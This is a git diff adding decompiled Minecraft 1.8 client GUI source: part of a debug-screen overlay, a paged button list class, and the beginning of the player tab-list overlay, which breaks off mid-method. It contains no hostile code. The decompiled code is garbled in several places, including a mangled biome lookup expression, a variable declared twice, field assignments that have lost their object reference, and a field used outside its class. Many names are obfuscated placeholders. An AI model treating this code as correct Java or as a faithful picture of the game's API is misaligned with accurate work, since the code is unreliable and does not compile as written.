+      {
+        int var5 = fontRenderer.FONT_HEIGHT;
+        int var6 = fontRenderer.getStringWidth(var4);
+        int var7 = p_175239_1_.getScaledWidth() - 2 - var6;
+        int var8 = 2 + var5 * var3;
+        drawRect(var7 - 1, var8 - 1, var7 + var6 + 1, var8 + var5 - 1, -1873784752);
+        fontRenderer.drawString(var4, var7, var8, 14737632);
+      }
+    }
+  }
+  
+  protected List call()
+  {
+    BlockPos var1 = new BlockPos(mc.func_175606_aa().posX, mc.func_175606_aa().getEntityBoundingBox().minY, mc.func_175606_aa().posZ);
+    
+    if (func_175236_d())
+    {
+      return Lists.newArrayList(new String[] { "Minecraft 1.8 (" + mc.func_175600_c() + "/" + net.minecraft.client.ClientBrandRetriever.getClientModName() + ")", mc.debug, mc.renderGlobal.getDebugInfoRenders(), mc.renderGlobal.getDebugInfoEntities(), "P: " + mc.effectRenderer.getStatistics() + ". T: " + mc.theWorld.getDebugLoadedEntities(), mc.theWorld.getProviderName(), "", String.format("Chunk-relative: %d %d %d", new Object[] { Integer.valueOf(var1.getX() & 0xF), Integer.valueOf(var1.getY() & 0xF), Integer.valueOf(var1.getZ() & 0xF) }) });
+    }
+    
+
+    Entity var2 = mc.func_175606_aa();
+    EnumFacing var3 = var2.func_174811_aO();
+    String var4 = "Invalid";
+    
+    switch (SwitchEnumFacing.field_178907_a[var3.ordinal()])
+    {
+    case 1: 
+      var4 = "Towards negative Z";
+      break;
+    
+    case 2: 
+      var4 = "Towards positive Z";
+      break;
+    
+    case 3: 
+      var4 = "Towards negative X";
+      break;
+    
+    case 4: 
+      var4 = "Towards positive X";
+    }
+    
+    ArrayList var5 = Lists.newArrayList(new String[] { "Minecraft 1.8 (" + mc.func_175600_c() + "/" + net.minecraft.client.ClientBrandRetriever.getClientModName() + ")", mc.debug, mc.renderGlobal.getDebugInfoRenders(), mc.renderGlobal.getDebugInfoEntities(), "P: " + mc.effectRenderer.getStatistics() + ". T: " + mc.theWorld.getDebugLoadedEntities(), mc.theWorld.getProviderName(), "", String.format("XYZ: %.3f / %.5f / %.3f", new Object[] { Double.valueOf(mc.func_175606_aa().posX), Double.valueOf(mc.func_175606_aa().getEntityBoundingBox().minY), Double.valueOf(mc.func_175606_aa().posZ) }), String.format("Block: %d %d %d", new Object[] { Integer.valueOf(var1.getX()), Integer.valueOf(var1.getY()), Integer.valueOf(var1.getZ()) }), String.format("Chunk: %d %d %d in %d %d %d", new Object[] { Integer.valueOf(var1.getX() & 0xF), Integer.valueOf(var1.getY() & 0xF), Integer.valueOf(var1.getZ() & 0xF), Integer.valueOf(var1.getX() >> 4), Integer.valueOf(var1.getY() >> 4), Integer.valueOf(var1.getZ() >> 4) }), String.format("Facing: %s (%s) (%.1f / %.1f)", new Object[] { var3, var4, Float.valueOf(MathHelper.wrapAngleTo180_float(rotationYaw)), Float.valueOf(MathHelper.wrapAngleTo180_float(rotationPitch)) }) });
+    
+    if ((mc.theWorld != null) && (mc.theWorld.isBlockLoaded(var1)))
+    {
+      Chunk var9 = mc.theWorld.getChunkFromBlockCoords(var1);
+      var5.add("Biome: " + getBiomemc.theWorld.getWorldChunkManager()).biomeName);
+      var5.add("Light: " + var9.setLight(var1, 0) + " (" + var9.getLightFor(net.minecraft.world.EnumSkyBlock.SKY, var1) + " sky, " + var9.getLightFor(net.minecraft.world.EnumSkyBlock.BLOCK, var1) + " block)");
+      DifficultyInstance var7 = mc.theWorld.getDifficultyForLocation(var1);
+      
+      if ((mc.isIntegratedServerRunning()) && (mc.getIntegratedServer() != null))
+      {
+        net.minecraft.entity.player.EntityPlayerMP var8 = mc.getIntegratedServer().getConfigurationManager().func_177451_a(mc.thePlayer.getUniqueID());
+        
+        if (var8 != null)
+        {
+          var7 = worldObj.getDifficultyForLocation(new BlockPos(var8));
+        }
+      }
+      
+      var5.add(String.format("Local Difficulty: %.2f (Day %d)", new Object[] { Float.valueOf(var7.func_180168_b()), Long.valueOf(mc.theWorld.getWorldTime() / 24000L) }));
+    }
+    
+    if ((mc.entityRenderer != null) && (mc.entityRenderer.isShaderActive()))
+    {
+      var5.add("Shader: " + mc.entityRenderer.getShaderGroup().getShaderGroupName());
+    }
+    
+    if ((mc.objectMouseOver != null) && (mc.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) && (mc.objectMouseOver.func_178782_a() != null))
+    {
+      BlockPos var91 = mc.objectMouseOver.func_178782_a();
+      var5.add(String.format("Looking at: %d %d %d", new Object[] { Integer.valueOf(var91.getX()), Integer.valueOf(var91.getY()), Integer.valueOf(var91.getZ()) }));
+    }
+    
+    return var5;
+  }
+  
+
+  protected List func_175238_c()
+  {
+    long var1 = Runtime.getRuntime().maxMemory();
+    long var3 = Runtime.getRuntime().totalMemory();
+    long var5 = Runtime.getRuntime().freeMemory();
+    long var7 = var3 - var5;
+    ArrayList var9 = Lists.newArrayList(new String[] { String.format("Java: %s %dbit", new Object[] { System.getProperty("java.version"), Integer.valueOf(mc.isJava64bit() ? 64 : 32) }), String.format("Mem: % 2d%% %03d/%03dMB", new Object[] { Long.valueOf(var7 * 100L / var1), Long.valueOf(func_175240_a(var7)), Long.valueOf(func_175240_a(var1)) }), String.format("Allocated: % 2d%% %03dMB", new Object[] { Long.valueOf(var3 * 100L / var1), Long.valueOf(func_175240_a(var3)) }), "", String.format("Display: %dx%d (%s)", new Object[] { Integer.valueOf(Display.getWidth()), Integer.valueOf(Display.getHeight()), GL11.glGetString(7936) }), GL11.glGetString(7937), GL11.glGetString(7938) });
+    
+    if (Reflector.FMLCommonHandler_getBrandings.exists())
+    {
+      Object var10 = Reflector.call(Reflector.FMLCommonHandler_instance, new Object[0]);
+      var9.add("");
+      var9.addAll((java.util.Collection)Reflector.call(var10, Reflector.FMLCommonHandler_getBrandings, new Object[] { Boolean.valueOf(false) }));
+    }
+    
+    if (func_175236_d())
+    {
+      return var9;
+    }
+    
+
+    if ((mc.objectMouseOver != null) && (mc.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) && (mc.objectMouseOver.func_178782_a() != null))
+    {
+      BlockPos var101 = mc.objectMouseOver.func_178782_a();
+      IBlockState var11 = mc.theWorld.getBlockState(var101);
+      
+      if (mc.theWorld.getWorldType() != net.minecraft.world.WorldType.DEBUG_WORLD)
+      {
+        var11 = var11.getBlock().getActualState(var11, mc.theWorld, var101);
+      }
+      
+      var9.add("");
+      var9.add(String.valueOf(Block.blockRegistry.getNameForObject(var11.getBlock())));
+      
+      Map.Entry var13;
+      String var14;
+      for (UnmodifiableIterator var12 = var11.getProperties().entrySet().iterator(); var12.hasNext(); var9.add(((IProperty)var13.getKey()).getName() + ": " + var14))
+      {
+        var13 = (Map.Entry)var12.next();
+        var14 = ((Comparable)var13.getValue()).toString();
+        
+        if (var13.getValue() == Boolean.TRUE)
+        {
+          var14 = EnumChatFormatting.GREEN + var14;
+        }
+        else if (var13.getValue() == Boolean.FALSE)
+        {
+          var14 = EnumChatFormatting.RED + var14;
+        }
+      }
+    }
+    
+    return var9;
+  }
+  
+
+  private static long func_175240_a(long p_175240_0_)
+  {
+    return p_175240_0_ / 1024L / 1024L;
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_178907_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001955";
+    
+    static
+    {
+      try
+      {
+        field_178907_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178907_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178907_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178907_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiPageButtonList.java b/src/minecraft/net/minecraft/client/gui/GuiPageButtonList.java
new file mode 100644
index 0000000..856c2b2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiPageButtonList.java
@@ -0,0 +1,640 @@
+package net.minecraft.client.gui;
+
+import com.google.common.base.Objects;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.IntHashMap;
+
+public class GuiPageButtonList extends GuiListExtended
+{
+  private final List field_178074_u = Lists.newArrayList();
+  private final IntHashMap field_178073_v = new IntHashMap();
+  private final List field_178072_w = Lists.newArrayList();
+  private final GuiListEntry[][] field_178078_x;
+  private int field_178077_y;
+  private GuiResponder field_178076_z;
+  private Gui field_178075_A;
+  private static final String __OBFID = "CL_00001950";
+  
+  public GuiPageButtonList(Minecraft mcIn, int p_i45536_2_, int p_i45536_3_, int p_i45536_4_, int p_i45536_5_, int p_i45536_6_, GuiResponder p_i45536_7_, GuiListEntry[]... p_i45536_8_)
+  {
+    super(mcIn, p_i45536_2_, p_i45536_3_, p_i45536_4_, p_i45536_5_, p_i45536_6_);
+    field_178076_z = p_i45536_7_;
+    field_178078_x = p_i45536_8_;
+    field_148163_i = false;
+    func_178069_s();
+    func_178055_t();
+  }
+  
+  private void func_178069_s()
+  {
+    GuiListEntry[][] var1 = field_178078_x;
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      GuiListEntry[] var4 = var1[var3];
+      
+      for (int var5 = 0; var5 < var4.length; var5 += 2)
+      {
+        GuiListEntry var6 = var4[var5];
+        GuiListEntry var7 = var5 < var4.length - 1 ? var4[(var5 + 1)] : null;
+        Gui var8 = func_178058_a(var6, 0, var7 == null);
+        Gui var9 = func_178058_a(var7, 160, var6 == null);
+        GuiEntry var10 = new GuiEntry(var8, var9);
+        field_178074_u.add(var10);
+        
+        if ((var6 != null) && (var8 != null))
+        {
+          field_178073_v.addKey(var6.func_178935_b(), var8);
+          
+          if ((var8 instanceof GuiTextField))
+          {
+            field_178072_w.add((GuiTextField)var8);
+          }
+        }
+        
+        if ((var7 != null) && (var9 != null))
+        {
+          field_178073_v.addKey(var7.func_178935_b(), var9);
+          
+          if ((var9 instanceof GuiTextField))
+          {
+            field_178072_w.add((GuiTextField)var9);
+          }
+        }
+      }
+    }
+  }
+  
+  private void func_178055_t()
+  {
+    field_178074_u.clear();
+    
+    for (int var1 = 0; var1 < field_178078_x[field_178077_y].length; var1 += 2)
+    {
+      GuiListEntry var2 = field_178078_x[field_178077_y][var1];
+      GuiListEntry var3 = var1 < field_178078_x[field_178077_y].length - 1 ? field_178078_x[field_178077_y][(var1 + 1)] : null;
+      Gui var4 = (Gui)field_178073_v.lookup(var2.func_178935_b());
+      Gui var5 = var3 != null ? (Gui)field_178073_v.lookup(var3.func_178935_b()) : null;
+      GuiEntry var6 = new GuiEntry(var4, var5);
+      field_178074_u.add(var6);
+    }
+  }
+  
+  public int func_178059_e()
+  {
+    return field_178077_y;
+  }
+  
+  public int func_178057_f()
+  {
+    return field_178078_x.length;
+  }
+  
+  public Gui func_178056_g()
+  {
+    return field_178075_A;
+  }
+  
+  public void func_178071_h()
+  {
+    if (field_178077_y > 0)
+    {
+      int var1 = field_178077_y--;
+      func_178055_t();
+      func_178060_e(var1, field_178077_y);
+      amountScrolled = 0.0F;
+    }
+  }
+  
+  public void func_178064_i()
+  {
+    if (field_178077_y < field_178078_x.length - 1)
+    {
+      int var1 = field_178077_y++;
+      func_178055_t();
+      func_178060_e(var1, field_178077_y);
+      amountScrolled = 0.0F;
+    }
+  }
+  
+  public Gui func_178061_c(int p_178061_1_)
+  {
+    return (Gui)field_178073_v.lookup(p_178061_1_);
+  }
+  
+  private void func_178060_e(int p_178060_1_, int p_178060_2_)
+  {
+    GuiListEntry[] var3 = field_178078_x[p_178060_1_];
+    int var4 = var3.length;
+    
+
+
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      GuiListEntry var6 = var3[var5];
+      
+      if (var6 != null)
+      {
+        func_178066_a((Gui)field_178073_v.lookup(var6.func_178935_b()), false);
+      }
+    }
+    
+    var3 = field_178078_x[p_178060_2_];
+    var4 = var3.length;
+    
+    for (var5 = 0; var5 < var4; var5++)
+    {
+      GuiListEntry var6 = var3[var5];
+      
+      if (var6 != null)
+      {
+        func_178066_a((Gui)field_178073_v.lookup(var6.func_178935_b()), true);
+      }
+    }
+  }
+  
+  private void func_178066_a(Gui p_178066_1_, boolean p_178066_2_)
+  {
+    if ((p_178066_1_ instanceof GuiButton))
+    {
+      visible = p_178066_2_;
+    }
+    else if ((p_178066_1_ instanceof GuiTextField))
+    {
+      ((GuiTextField)p_178066_1_).setVisible(p_178066_2_);
+    }
+    else if ((p_178066_1_ instanceof GuiLabel))
+    {
+      visible = p_178066_2_;
+    }
+  }
+  
+  private Gui func_178058_a(GuiListEntry p_178058_1_, int p_178058_2_, boolean p_178058_3_)
+  {
+    return (p_178058_1_ instanceof GuiLabelEntry) ? func_178063_a(width / 2 - 155 + p_178058_2_, 0, (GuiLabelEntry)p_178058_1_, p_178058_3_) : (p_178058_1_ instanceof EditBoxEntry) ? func_178068_a(width / 2 - 155 + p_178058_2_, 0, (EditBoxEntry)p_178058_1_) : (p_178058_1_ instanceof GuiButtonEntry) ? func_178065_a(width / 2 - 155 + p_178058_2_, 0, (GuiButtonEntry)p_178058_1_) : (p_178058_1_ instanceof GuiSlideEntry) ? func_178067_a(width / 2 - 155 + p_178058_2_, 0, (GuiSlideEntry)p_178058_1_) : null;
+  }
+  
+  public boolean func_148179_a(int p_148179_1_, int p_148179_2_, int p_148179_3_)
+  {
+    boolean var4 = super.func_148179_a(p_148179_1_, p_148179_2_, p_148179_3_);
+    int var5 = getSlotIndexFromScreenCoords(p_148179_1_, p_148179_2_);
+    
+    if (var5 >= 0)
+    {
+      GuiEntry var6 = func_178070_d(var5);
+      
+      if ((field_178075_A != field_178028_d) && (field_178075_A != null) && ((field_178075_A instanceof GuiTextField)))
+      {
+        ((GuiTextField)field_178075_A).setFocused(false);
+      }
+      
+      field_178075_A = field_178028_d;
+    }
+    
+    return var4;
+  }
+  
+  private GuiSlider func_178067_a(int p_178067_1_, int p_178067_2_, GuiSlideEntry p_178067_3_)
+  {
+    GuiSlider var4 = new GuiSlider(field_178076_z, p_178067_3_.func_178935_b(), p_178067_1_, p_178067_2_, p_178067_3_.func_178936_c(), p_178067_3_.func_178943_e(), p_178067_3_.func_178944_f(), p_178067_3_.func_178942_g(), p_178067_3_.func_178945_a());
+    visible = p_178067_3_.func_178934_d();
+    return var4;
+  }
+  
+  private GuiListButton func_178065_a(int p_178065_1_, int p_178065_2_, GuiButtonEntry p_178065_3_)
+  {
+    GuiListButton var4 = new GuiListButton(field_178076_z, p_178065_3_.func_178935_b(), p_178065_1_, p_178065_2_, p_178065_3_.func_178936_c(), p_178065_3_.func_178940_a());
+    visible = p_178065_3_.func_178934_d();
+    return var4;
+  }
+  
+  private GuiTextField func_178068_a(int p_178068_1_, int p_178068_2_, EditBoxEntry p_178068_3_)
+  {
+    GuiTextField var4 = new GuiTextField(p_178068_3_.func_178935_b(), mc.fontRendererObj, p_178068_1_, p_178068_2_, 150, 20);
+    var4.setText(p_178068_3_.func_178936_c());
+    var4.func_175207_a(field_178076_z);
+    var4.setVisible(p_178068_3_.func_178934_d());
+    var4.func_175205_a(p_178068_3_.func_178950_a());
+    return var4;
+  }
+  
+  private GuiLabel func_178063_a(int p_178063_1_, int p_178063_2_, GuiLabelEntry p_178063_3_, boolean p_178063_4_)
+  {
+    GuiLabel var5;
+    GuiLabel var5;
+    if (p_178063_4_)
+    {
+      var5 = new GuiLabel(mc.fontRendererObj, p_178063_3_.func_178935_b(), p_178063_1_, p_178063_2_, width - p_178063_1_ * 2, 20, -1);
+    }
+    else
+    {
+      var5 = new GuiLabel(mc.fontRendererObj, p_178063_3_.func_178935_b(), p_178063_1_, p_178063_2_, 150, 20, -1);
+    }
+    
+    visible = p_178063_3_.func_178934_d();
+    var5.func_175202_a(p_178063_3_.func_178936_c());
+    var5.func_175203_a();
+    return var5;
+  }
+  
+  public void func_178062_a(char p_178062_1_, int p_178062_2_)
+  {
+    if ((field_178075_A instanceof GuiTextField))
+    {
+      GuiTextField var3 = (GuiTextField)field_178075_A;
+      
+
+      if (!GuiScreen.func_175279_e(p_178062_2_))
+      {
+        if (p_178062_2_ == 15)
+        {
+          var3.setFocused(false);
+          int var12 = field_178072_w.indexOf(field_178075_A);
+          
+          if (GuiScreen.isShiftKeyDown())
+          {
+            if (var12 == 0)
+            {
+              var12 = field_178072_w.size() - 1;
+            }
+            else
+            {
+              var12--;
+            }
+          }
+          else if (var12 == field_178072_w.size() - 1)
+          {
+            var12 = 0;
+          }
+          else
+          {
+            var12++;
+          }
+          
+          field_178075_A = ((Gui)field_178072_w.get(var12));
+          var3 = (GuiTextField)field_178075_A;
+          var3.setFocused(true);
+          int var13 = yPosition + slotHeight;
+          int var6 = yPosition;
+          
+          if (var13 > bottom)
+          {
+            amountScrolled += var13 - bottom;
+          }
+          else if (var6 < top)
+          {
+            amountScrolled = var6;
+          }
+        }
+        else
+        {
+          var3.textboxKeyTyped(p_178062_1_, p_178062_2_);
+        }
+      }
+      else
+      {
+        String var4 = GuiScreen.getClipboardString();
+        String[] var5 = var4.split(";");
+        int var6 = field_178072_w.indexOf(field_178075_A);
+        int var7 = var6;
+        String[] var8 = var5;
+        int var9 = var5.length;
+        
+        for (int var10 = 0; var10 < var9; var10++)
+        {
+          String var11 = var8[var10];
+          ((GuiTextField)field_178072_w.get(var7)).setText(var11);
+          
+          if (var7 == field_178072_w.size() - 1)
+          {
+            var7 = 0;
+          }
+          else
+          {
+            var7++;
+          }
+          
+          if (var7 == var6) {
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+  public GuiEntry func_178070_d(int p_178070_1_)
+  {
+    return (GuiEntry)field_178074_u.get(p_178070_1_);
+  }
+  
+  public int getSize()
+  {
+    return field_178074_u.size();
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return 400;
+  }
+  
+  protected int getScrollBarX()
+  {
+    return super.getScrollBarX() + 32;
+  }
+  
+
+
+
+  public GuiListExtended.IGuiListEntry getListEntry(int p_148180_1_)
+  {
+    return func_178070_d(p_148180_1_);
+  }
+  
+  public static class EditBoxEntry extends GuiPageButtonList.GuiListEntry
+  {
+    private final Predicate field_178951_a;
+    private static final String __OBFID = "CL_00001948";
+    
+    public EditBoxEntry(int p_i45534_1_, String p_i45534_2_, boolean p_i45534_3_, Predicate p_i45534_4_)
+    {
+      super(p_i45534_2_, p_i45534_3_);
+      field_178951_a = ((Predicate)Objects.firstNonNull(p_i45534_4_, Predicates.alwaysTrue()));
+    }
+    
+    public Predicate func_178950_a()
+    {
+      return field_178951_a;
+    }
+  }
+  
+  public static class GuiButtonEntry extends GuiPageButtonList.GuiListEntry
+  {
+    private final boolean field_178941_a;
+    private static final String __OBFID = "CL_00001949";
+    
+    public GuiButtonEntry(int p_i45535_1_, String p_i45535_2_, boolean p_i45535_3_, boolean p_i45535_4_)
+    {
+      super(p_i45535_2_, p_i45535_3_);
+      field_178941_a = p_i45535_4_;
+    }
+    
+    public boolean func_178940_a()
+    {
+      return field_178941_a;
+    }
+  }
+  
+  public static class GuiEntry implements GuiListExtended.IGuiListEntry
+  {
+    private final Minecraft field_178031_a = Minecraft.getMinecraft();
+    private final Gui field_178029_b;
+    private final Gui field_178030_c;
+    private Gui field_178028_d;
+    private static final String __OBFID = "CL_00001947";
+    
+    public GuiEntry(Gui p_i45533_1_, Gui p_i45533_2_)
+    {
+      field_178029_b = p_i45533_1_;
+      field_178030_c = p_i45533_2_;
+    }
+    
+    public Gui func_178022_a()
+    {
+      return field_178029_b;
+    }
+    
+    public Gui func_178021_b()
+    {
+      return field_178030_c;
+    }
+    
+    public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+    {
+      func_178017_a(field_178029_b, y, mouseX, mouseY, false);
+      func_178017_a(field_178030_c, y, mouseX, mouseY, false);
+    }
+    
+    private void func_178017_a(Gui p_178017_1_, int p_178017_2_, int p_178017_3_, int p_178017_4_, boolean p_178017_5_)
+    {
+      if (p_178017_1_ != null)
+      {
+        if ((p_178017_1_ instanceof GuiButton))
+        {
+          func_178024_a((GuiButton)p_178017_1_, p_178017_2_, p_178017_3_, p_178017_4_, p_178017_5_);
+        }
+        else if ((p_178017_1_ instanceof GuiTextField))
+        {
+          func_178027_a((GuiTextField)p_178017_1_, p_178017_2_, p_178017_5_);
+        }
+        else if ((p_178017_1_ instanceof GuiLabel))
+        {
+          func_178025_a((GuiLabel)p_178017_1_, p_178017_2_, p_178017_3_, p_178017_4_, p_178017_5_);
+        }
+      }
+    }
+    
+    private void func_178024_a(GuiButton p_178024_1_, int p_178024_2_, int p_178024_3_, int p_178024_4_, boolean p_178024_5_)
+    {
+      yPosition = p_178024_2_;
+      
+      if (!p_178024_5_)
+      {
+        p_178024_1_.drawButton(field_178031_a, p_178024_3_, p_178024_4_);
+      }
+    }
+    
+    private void func_178027_a(GuiTextField p_178027_1_, int p_178027_2_, boolean p_178027_3_)
+    {
+      yPosition = p_178027_2_;
+      
+      if (!p_178027_3_)
+      {
+        p_178027_1_.drawTextBox();
+      }
+    }
+    
+    private void func_178025_a(GuiLabel p_178025_1_, int p_178025_2_, int p_178025_3_, int p_178025_4_, boolean p_178025_5_)
+    {
+      field_146174_h = p_178025_2_;
+      
+      if (!p_178025_5_)
+      {
+        p_178025_1_.drawLabel(field_178031_a, p_178025_3_, p_178025_4_);
+      }
+    }
+    
+    public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_)
+    {
+      func_178017_a(field_178029_b, p_178011_3_, 0, 0, true);
+      func_178017_a(field_178030_c, p_178011_3_, 0, 0, true);
+    }
+    
+    public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+    {
+      boolean var7 = func_178026_a(field_178029_b, p_148278_2_, p_148278_3_, p_148278_4_);
+      boolean var8 = func_178026_a(field_178030_c, p_148278_2_, p_148278_3_, p_148278_4_);
+      return (var7) || (var8);
+    }
+    
+    private boolean func_178026_a(Gui p_178026_1_, int p_178026_2_, int p_178026_3_, int p_178026_4_)
+    {
+      if (p_178026_1_ == null)
+      {
+        return false;
+      }
+      if ((p_178026_1_ instanceof GuiButton))
+      {
+        return func_178023_a((GuiButton)p_178026_1_, p_178026_2_, p_178026_3_, p_178026_4_);
+      }
+      
+
+      if ((p_178026_1_ instanceof GuiTextField))
+      {
+        func_178018_a((GuiTextField)p_178026_1_, p_178026_2_, p_178026_3_, p_178026_4_);
+      }
+      
+      return false;
+    }
+    
+
+    private boolean func_178023_a(GuiButton p_178023_1_, int p_178023_2_, int p_178023_3_, int p_178023_4_)
+    {
+      boolean var5 = p_178023_1_.mousePressed(field_178031_a, p_178023_2_, p_178023_3_);
+      
+      if (var5)
+      {
+        field_178028_d = p_178023_1_;
+      }
+      
+      return var5;
+    }
+    
+    private void func_178018_a(GuiTextField p_178018_1_, int p_178018_2_, int p_178018_3_, int p_178018_4_)
+    {
+      p_178018_1_.mouseClicked(p_178018_2_, p_178018_3_, p_178018_4_);
+      
+      if (p_178018_1_.isFocused())
+      {
+        field_178028_d = p_178018_1_;
+      }
+    }
+    
+    public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY)
+    {
+      func_178016_b(field_178029_b, x, y, mouseEvent);
+      func_178016_b(field_178030_c, x, y, mouseEvent);
+    }
+    
+    private void func_178016_b(Gui p_178016_1_, int p_178016_2_, int p_178016_3_, int p_178016_4_)
+    {
+      if (p_178016_1_ != null)
+      {
+        if ((p_178016_1_ instanceof GuiButton))
+        {
+          func_178019_b((GuiButton)p_178016_1_, p_178016_2_, p_178016_3_, p_178016_4_);
+        }
+      }
+    }
+    
+    private void func_178019_b(GuiButton p_178019_1_, int p_178019_2_, int p_178019_3_, int p_178019_4_)
+    {
+      p_178019_1_.mouseReleased(p_178019_2_, p_178019_3_);
+    }
+  }
+  
+  public static class GuiLabelEntry extends GuiPageButtonList.GuiListEntry
+  {
+    private static final String __OBFID = "CL_00001946";
+    
+    public GuiLabelEntry(int p_i45532_1_, String p_i45532_2_, boolean p_i45532_3_)
+    {
+      super(p_i45532_2_, p_i45532_3_);
+    }
+  }
+  
+  public static class GuiListEntry
+  {
+    private final int field_178939_a;
+    private final String field_178937_b;
+    private final boolean field_178938_c;
+    private static final String __OBFID = "CL_00001945";
+    
+    public GuiListEntry(int p_i45531_1_, String p_i45531_2_, boolean p_i45531_3_)
+    {
+      field_178939_a = p_i45531_1_;
+      field_178937_b = p_i45531_2_;
+      field_178938_c = p_i45531_3_;
+    }
+    
+    public int func_178935_b()
+    {
+      return field_178939_a;
+    }
+    
+    public String func_178936_c()
+    {
+      return field_178937_b;
+    }
+    
+    public boolean func_178934_d()
+    {
+      return field_178938_c;
+    }
+  }
+  
+  public static abstract interface GuiResponder
+  {
+    public abstract void func_175321_a(int paramInt, boolean paramBoolean);
+    
+    public abstract void func_175320_a(int paramInt, float paramFloat);
+    
+    public abstract void func_175319_a(int paramInt, String paramString);
+  }
+  
+  public static class GuiSlideEntry extends GuiPageButtonList.GuiListEntry
+  {
+    private final GuiSlider.FormatHelper field_178949_a;
+    private final float field_178947_b;
+    private final float field_178948_c;
+    private final float field_178946_d;
+    private static final String __OBFID = "CL_00001944";
+    
+    public GuiSlideEntry(int p_i45530_1_, String p_i45530_2_, boolean p_i45530_3_, GuiSlider.FormatHelper p_i45530_4_, float p_i45530_5_, float p_i45530_6_, float p_i45530_7_)
+    {
+      super(p_i45530_2_, p_i45530_3_);
+      field_178949_a = p_i45530_4_;
+      field_178947_b = p_i45530_5_;
+      field_178948_c = p_i45530_6_;
+      field_178946_d = p_i45530_7_;
+    }
+    
+    public GuiSlider.FormatHelper func_178945_a()
+    {
+      return field_178949_a;
+    }
+    
+    public float func_178943_e()
+    {
+      return field_178947_b;
+    }
+    
+    public float func_178944_f()
+    {
+      return field_178948_c;
+    }
+    
+    public float func_178942_g()
+    {
+      return field_178946_d;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiPlayerTabOverlay.java b/src/minecraft/net/minecraft/client/gui/GuiPlayerTabOverlay.java
new file mode 100644
index 0000000..e07f0cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiPlayerTabOverlay.java
@@ -0,0 +1,391 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.ComparisonChain;
+import com.google.common.collect.Ordering;
+import com.mojang.authlib.GameProfile;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.network.NetworkPlayerInfo;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria.EnumRenderType;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class GuiPlayerTabOverlay extends Gui
+{
+  private static final Ordering field_175252_a = Ordering.from(new PlayerComparator(null));
+  private final Minecraft field_175250_f;
+  private final GuiIngame field_175251_g;
+  private IChatComponent footer;
+  private IChatComponent header;
+  private long field_175253_j;
+  private boolean field_175254_k;
+  private static final String __OBFID = "CL_00001943";
+  
+  public GuiPlayerTabOverlay(Minecraft mcIn, GuiIngame p_i45529_2_)
+  {
+    field_175250_f = mcIn;
+    field_175251_g = p_i45529_2_;
+  }
+  
+  public String func_175243_a(NetworkPlayerInfo p_175243_1_)
+  {
+    return p_175243_1_.func_178854_k() != null ? p_175243_1_.func_178854_k().getFormattedText() : ScorePlayerTeam.formatPlayerName(p_175243_1_.func_178850_i(), p_175243_1_.func_178845_a().getName());
+  }
+  
+  public void func_175246_a(boolean p_175246_1_)
+  {
+    if ((p_175246_1_) && (!field_175254_k))
+    {
+      field_175253_j = Minecraft.getSystemTime();
+    }
+    
+    field_175254_k = p_175246_1_;
+  }
+  
+  public void func_175249_a(int p_175249_1_, Scoreboard p_175249_2_, ScoreObjective p_175249_3_)
+  {
+    NetHandlerPlayClient var4 = field_175250_f.thePlayer.sendQueue;
+    List var5 = field_175252_a.sortedCopy(var4.func_175106_d());
+    int var6 = 0;
+    int var7 = 0;
+    Iterator var8 = var5.iterator();
+    
+
+    while (var8.hasNext())
+    {
+      NetworkPlayerInfo var9 = (NetworkPlayerInfo)var8.next();
+      int var10 = field_175250_f.fontRendererObj.getStringWidth(func_175243_a(var9));
+      var6 = Math.max(var6, var10);
+      
+      if ((p_175249_3_ != null) && (p_175249_3_.func_178766_e() != IScoreObjectiveCriteria.EnumRenderType.HEARTS))
+      {
+        var10 = field_175250_f.fontRendererObj.getStringWidth(" " + p_175249_2_.getValueFromObjective(var9.func_178845_a().getName(), p_175249_3_).getScorePoints());
+        var7 = Math.max(var7, var10);
+      }
+    }
+    
+    var5 = var5.subList(0, Math.min(var5.size(), 80));
+    int var28 = var5.size();
+    int var29 = var28;
+    
+    for (int var10 = 1; var29 > 20; var29 = (var28 + var10 - 1) / var10)
+    {
+      var10++;
+    }
+    
